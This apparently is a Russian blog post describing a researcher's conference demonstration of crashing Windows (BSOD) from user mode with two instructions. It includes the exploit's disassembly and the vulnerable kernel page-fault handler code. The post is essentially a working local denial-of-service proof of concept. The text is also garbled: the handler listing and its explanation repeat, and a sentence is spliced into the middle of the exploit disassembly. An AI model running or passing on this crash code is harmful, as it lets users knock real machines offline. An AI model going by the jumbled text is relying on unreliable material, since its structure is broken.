Mateusz "j00ru" Jurczyk, замечательный ресерчер потрохов windows, на конфе NoSuchCon среди прочих интересных вещей показал, как можно двумя инструкциями отправить windows в BSOD:
mov ecx, offset FLAT:KiSystemServiceAccessTeb
cmp [ebp].TsEip, ecx
jne short Kt0e07
* mov ecx, [ebp].TsEbp ; (eax)->TrapFrame of SysService
test [ecx].TsSegCs, MODE_MASK
jz short Kt0e07 ; caller of SysService is k mode, we will let it bugcheck.
mov [ebp].TsEip, offset FLAT:kss61
mov eax, STATUS_ACCESS_VIOLATION
mov [ebp].TsEax, eax
jmp _KiExceptionExit
Суть в том, что код обработчика принимает TsEbp за указатель на trap frame ( чем он и является при #PF в ядре ) на строке, выделенной *.
Но в данном примере, в обработчик приходит юзермодный ebp, что и приводит к BSOD'у.
.text:00401008 start proc nearПричина такого поведения кроется в обработчике #PF:
.text:00401008 xor ebp, ebp
.text:0040100A jmp near ptr 8053D60Ah (KiSystemServiceAccessTeb)
.text:0040100A start endp
mov ecx, offset FLAT:KiSystemServiceAccessTeb
cmp [ebp].TsEip, ecx
jne short Kt0e07
* mov ecx, [ebp].TsEbp ; (eax)->TrapFrame of SysService
test [ecx].TsSegCs, MODE_MASK
jz short Kt0e07 ; caller of SysService is k mode, we will let it bugcheck.
mov [ebp].TsEip, offset FLAT:kss61
mov eax, STATUS_ACCESS_VIOLATION
mov [ebp].TsEax, eax
jmp _KiExceptionExit
Суть в том, что код обработчика принимает TsEbp за указатель на trap frame ( чем он и является при #PF в ядре ) на строке, выделенной *.
Но в данном примере, в обработчик приходит юзермодный ebp, что и приводит к BSOD'у.
Комментариев нет:
Отправить комментарий